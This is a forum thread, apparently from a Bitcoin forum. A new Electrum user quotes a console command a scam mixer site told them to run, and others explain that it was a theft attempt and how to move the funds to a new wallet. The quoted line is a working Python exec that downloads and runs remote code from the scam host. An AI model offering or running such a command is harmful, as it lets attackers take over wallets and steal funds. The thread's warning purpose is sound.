I was in the process of getting some bitcoin refunded from a mixer and the console gave out a line "Server exception, please, contact with support". I am new to electrum and I have been trying my best to find a way to report it to the support but I can't find the contact, so I'm here posting on this forum. The line a I gave that made it give out this line was exec("import requests\nexec(requests.get('https://bitcoinmixer.eu/fast_return/<output_btc_address>').text)"). I gave the correct output address and I thought it was working because it asked for my account password.

Bitcoinmixer.eu is a scam site as per this thread by LeGaulois. Mixers have nothing to do with Electrum console. If you are looking for a mixer service, better use one which is marked as genuine from the list given by LeGaulois.

There is also a high chance that your wallet has been compromised, so it's better to move your funds to a safe wallet.

Let me guess... someone told you to "run this command on the console"?

Bitcoinmixer.eu is a SCAM! https://bitcointalk.org/index.php?topic=5195145.0

They're basically trying to steal your money. Thankfully, it looks like they're stupid and gave you an incorrect formatted command and it failed to run. The command they've given you is attempting to download a script from their server that is designed to compromise your wallet/seed/private keys etc.

To be safe, you should do as akhjob has suggested, create a new wallet and more your funds immediately.

I mistakenly at the time gave them the wrong operating system, maybe the messed their command up. Thank you both for the input btw, live and learn on my part ig. At the time I did this I searched for bitcoin mixers and it gave me a site that seemed a bit sketchy, looking back it is filled with scammed mixers.

I will take the advice and create a new electrum wallet and transfer the funds, but how do I go about doing that. Do I have to erase any existing files from the previous wallet, like the file location? Also can I transfer to a new electrum wallet while using both on the same operating system?

Yes... Electrum allows you to have multiple wallet files... you can even have them open at the same time.

Simply use "File -> New/Restore"... give the new wallet a name to make it memorable... then follow the process to create a new "standard wallet -> create a new seed"... write the new seed down for later reference.

Eventually you will end up with 2 wallet files open... your old one and the new one. Get a "receive" address from your new wallet... and use it to send ALL the funds from your old wallet.

NOTE: you can set your fee and then type an exclamation mark (!) into the payment amount box to get it to automatically calculate the amount to send ALL available funds to your new wallet.

There's a big ass warning on the console tab about running commands you don't understand. Why did you not pay attention to this?

I would not trust that PC until I did an OS reinstall. Just creating a new wallet is not enough.

that command (exec) is very dangerous and your computer maybe already infected by malware.

Check what HCP said, the command was a wrong one & wasn't executed as scam attempt, OP luckily had the chance of not being affected due to that reason.

Python never show this kind of error/warning message if there's syntax error, so the command was executed successfully (if the console output is ONLY "Server exception, please, contact with support"). Please follow @Abdussamad suggestion.
